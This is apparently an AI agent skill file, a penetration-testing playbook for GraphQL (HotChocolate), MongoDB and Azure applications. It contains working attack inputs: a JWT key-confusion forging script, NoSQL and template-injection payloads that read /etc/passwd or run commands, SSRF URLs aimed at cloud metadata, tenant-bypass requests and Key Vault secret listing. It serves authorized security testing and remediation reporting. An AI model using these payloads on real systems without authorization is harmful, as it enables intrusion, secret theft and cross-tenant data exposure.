| name | penetration-tester |
| description | Use this skill when performing security assessments, penetration testing, vulnerability analysis, or threat modeling on web applications, APIs, or cloud infrastructure. Triggers on: penetration test, pentest, security audit, vulnerability scan, exploit, attack surface, OWASP, injection, XSS, CSRF, SSRF, IDOR, privilege escalation, authorization bypass, GraphQL security, NoSQL injection, MongoDB injection, Azure security, blob storage exposure, JWT attack, OAuth bypass, tenant isolation, SSTI, template injection, rate limiting, query depth attack, introspection, API security, threat model, CVSS, security finding, security report, or any red-team / offensive-security activity. |
Penetration Tester
Perform systematic security assessments of ASP.NET Core web applications with GraphQL APIs (HotChocolate), MongoDB, Azure cloud infrastructure, and multi-tenant architectures. Focus on actionable techniques, tool usage, and stack-specific attack vectors.
Scope: Offensive security testing and vulnerability identification. For secure coding practices during development, refer to general security guidelines. Always obtain explicit authorization before testing.
Methodology
Follow a structured phase-based approach for every engagement:
| Phase | Activities |
|---|
| 1. Reconnaissance | Map attack surface, enumerate endpoints, identify tech stack |
| 2. Enumeration | Discover schemas, tenant boundaries, auth mechanisms |
| 3. Vulnerability Analysis | Test each attack vector systematically |
| 4. Exploitation | Develop PoCs for confirmed vulnerabilities |
| 5. Post-Exploitation | Assess impact, lateral movement, data exposure |
| 6. Reporting | Document findings with severity, evidence, remediation |
Attack Surface Mapping
GraphQL Endpoint Discovery
/graphql
/graphql/
/api/graphql
/query
/gql
curl -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __typename }"}'
Technology Fingerprinting
Identify HotChocolate-specific responses:
curl -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ invalid }"}' | jq '.errors[0].extensions'
GraphQL Security Testing
Introspection Attacks
{
__schema {
types {
name
fields {
name
type { name kind ofType { name } }
args { name type { name } }
}
}
mutationType { fields { name } }
queryType { fields { name } }
}
}
Impact: Exposes entire API surface, internal types, and field names. In production, introspection should be disabled.
HotChocolate-specific: Check AllowIntrospection setting. Default is enabled โ many deployments forget to disable it.
Query Depth & Complexity Attacks (DoS)
{
user {
contracts {
owner {
contracts {
owner {
contracts {
}
}
}
}
}
}
}
{
a1: users(first: 100) { id name }
a2: users(first: 100) { id name }
a3: users(first: 100) { id name }
}
HotChocolate mitigations to verify:
MaxAllowedQueryDepth โ reject deeply nested queries
MaxAllowedQueryComplexity โ cost-based analysis
Timeout โ execution timeout
MaxAllowedValidationErrors โ prevent validation flooding
Batching Attacks
[
{"query": "mutation { login(email: \"user@test.ch\", password: \"pass1\") { token } }"},
{"query": "mutation { login(email: \"user@test.ch\", password: \"pass2\") { token } }"},
{"query": "mutation { login(email: \"user@test.ch\", password: \"pass3\") { token } }"}
]
Impact: Bypass rate limiting by batching many operations into a single HTTP request. Effective for brute-force attacks on login mutations.
Field Suggestion Information Disclosure
{ user { passwor } }
Systematically query misspelled fields to discover hidden or internal fields.
Authorization Bypass on Resolvers
query {
contractById(id: "target-contract-id") {
sensitiveField
internalNotes
ownerDetails { socialSecurityNumber }
}
}
query {
publicEntity(id: "known-id") {
restrictedChildData {
confidentialField
}
}
}
HotChocolate-specific checks:
- Verify
[Authorize] attribute on mutations AND query resolvers
- Check TypeExtension resolvers โ they often miss authorization
- Test with expired, malformed, or missing JWT tokens
- Verify role/policy checks on each resolver independently
Authentication & Authorization Testing
JWT/OAuth2 Token Attacks
echo "eyJhbG..." | cut -d. -f2 | base64 -d | jq .
import jwt
public_key = open("public.pem").read()
forged_token = jwt.encode(
{"sub": "admin", "role": "admin", "tenant": "primary"},
public_key,
algorithm="HS256"
)
Tenant Isolation Bypass
Multi-tenant systems using X-Tenant-Id headers are vulnerable to tenant crossover attacks:
TOKEN_A=$(curl -s -X POST https://auth/oauth/token \
-d "grant_type=client_credentials&scope=api.notification.access notification.tenant.tenantA" \
| jq -r '.access_token')
curl -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-H "X-Tenant-Id: tenantB" \
-H "Content-Type: application/json" \
-d '{"query": "{ sensitiveData { id content } }"}'
curl -X POST https://target/graphql \
-H "Authorization: Bearer $TOKEN_A" \
-d '{"query": "{ allTenantData { id } }"}'
Validation checklist:
- Token scope (
notification.tenant.{id}) must match X-Tenant-Id header
- Missing header must be rejected (not default to a tenant)
- Tenant ID in token must be validated server-side, not trusted from header alone
- Data queries must filter by authenticated tenant โ never return cross-tenant data
Scope Escalation
curl -X POST https://auth/oauth/token \
-d "client_id=app&client_secret=secret&grant_type=client_credentials" \
-d "scope=api.notification.access notification.tenant.tenantA notification.tenant.tenantB"
Injection Attacks
MongoDB NoSQL Injection
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"$where": "this.username == 'admin' && this.password.length > 0"}
var filter = Builders<User>.Filter.Eq("username", userInput);
var filter = Builders<User>.Filter.Eq(u => u.Username, userInput);
MongoDB-specific checks:
- Test all query parameters for operator injection (
$ne, $gt, $regex, $where, $exists)
- Check if
BsonDocument or raw JSON is used in filter construction
- Verify aggregation pipelines don't accept user-controlled stages
- Test
$lookup for cross-collection data access
Server-Side Template Injection (SSTI) โ Handlebars
Templates (body.hbs.html) are processed server-side with HandlebarsDotNet (C#). Unlike JavaScript Handlebars, HandlebarsDotNet does not expose require() or prototype chains โ standard JS SSTI payloads will not work.
HandlebarsDotNet attack surface:
- Custom helpers โ check for registered helpers that execute code, read files, or access system resources
ThrowOnUnresolvedBindingExpression โ if disabled, unresolved bindings silently return empty (information leakage)
- Template source โ are templates loaded from trusted blob storage only, or can users inject template content?
- Data context โ verify user-supplied data cannot override template structure or inject helper calls
Key distinction: If only data (placeholder values) comes from users but template files come from blob storage, SSTI risk is low. If users can influence template content, risk is critical.
Test vectors:
{{! Probe for custom helpers }}
{{exec "whoami"}}
{{file "/etc/passwd"}}
{{lookup this "constructor"}}
{{#each (lookup this "__proto__")}}{{{this}}}{{/each}}
SSRF via URL Validation
Templates contain URLs that get validated (see validate_urls.prompt.md). If URL resolution happens server-side:
https://target/api/validate-url?url=http://169.254.169.254/latest/meta-data/
https://target/api/validate-url?url=http://localhost:8080/internal-admin
https://target/api/validate-url?url=http://10.0.0.1:27017/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Azure Cloud Security
Blob Storage Exposure
curl -s "https://{account}.blob.core.windows.net/templates?restype=container&comp=list"
curl -s "https://{account}.blob.core.windows.net/content?restype=container&comp=list"
curl -s "https://{account}.blob.core.windows.net/templates?restype=container&comp=list&prefix=EMAIL/"
Template-specific checks:
- Template blob storage containers per tenant (
ContainerName = "templates")
- Content storage containers (
ContainerName = "content")
- Verify
DefaultAzureCredential is used (not connection strings in code)
- Check if blob container public access level is set to
Private
Azure Key Vault
az keyvault secret list --vault-name {vault-name}
az keyvault secret show --vault-name {vault-name} --name {secret-name}
Azure Service Bus
az servicebus namespace authorization-rule list --namespace-name {ns} --resource-group {rg}
API Security Testing
CORS Misconfiguration
curl -I https://target/graphql \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST"
Rate Limiting Gaps
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}" https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __typename }"}' &
done
wait
Information Disclosure
curl -X POST https://target/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __type(name: \"nonexistent\") { name } }"}'
curl https://target/health
curl https://target/metrics
curl https://target/swagger
curl https://target/.well-known/openid-configuration
curl https://target/graphql/ui
HotChocolate-specific: Production should disable detailed error messages (IncludeExceptionDetails = false).
IDOR (Insecure Direct Object Reference)
query { documentById(id: "doc-001") { content owner } }
query { documentById(id: "doc-002") { content owner } }
query { contractById(id: "550e8400-e29b-41d4-a716-446655440000") { ... } }
mutation {
updateContract(input: {
id: "other-users-contract-id"
data: { status: ACTIVE }
}) { contract { id } }
}
Tools
GraphQL-Specific
General & Cloud
Burp Suite, OWASP ZAP (web scanning), Nuclei (template-based scanning), ffuf (fuzzing), sqlmap (SQL injection), jwt_tool (JWT attacks), az cli (Azure enumeration), ScoutSuite / Prowler (cloud security auditing), MicroBurst (Azure attack toolkit).
Reporting
Severity Classification (CVSS 3.1)
| Severity | CVSS Score | Example |
|---|
| Critical | 9.0 โ 10.0 | Tenant isolation bypass with full data access, RCE via SSTI |
| High | 7.0 โ 8.9 | Authentication bypass, unrestricted NoSQL injection, SSRF to IMDS |
| Medium | 4.0 โ 6.9 | IDOR on non-sensitive data, CORS misconfiguration, introspection enabled |
| Low | 0.1 โ 3.9 | Information disclosure in errors, missing security headers |
| Info | 0.0 | Best practice deviations without direct security impact |
Finding Template
Structure each finding as: Title โ CVSS Score + Vector โ Description โ Affected Component โ Steps to Reproduce (with exact requests/responses) โ Evidence โ Impact โ Remediation (with code examples) โ References (CVE, CWE, OWASP).
OWASP Top 10 Checklist (Web Application Focus)
| # | Category | Stack-Specific Checks |
|---|
| A01 | Broken Access Control | Resolver-level auth, tenant isolation, IDOR on GraphQL queries |
| A02 | Cryptographic Failures | Key Vault usage, connection string exposure, TLS enforcement |
| A03 | Injection | NoSQL injection (MongoDB), SSTI (Handlebars), GraphQL query injection |
| A04 | Insecure Design | Missing query depth limits, no rate limiting on mutations |
| A05 | Security Misconfiguration | Introspection enabled, detailed errors, public blob containers |
| A06 | Vulnerable Components | NuGet/npm dependency scanning, known CVEs |
| A07 | Auth Failures | JWT validation, OAuth scope enforcement, session management |
| A08 | Data Integrity Failures | Unsigned messages on Service Bus, template tampering |
| A09 | Logging Failures | Sensitive data in logs, missing auth event logging |
| A10 | SSRF | URL validation endpoints, webhook callbacks, template URL processing |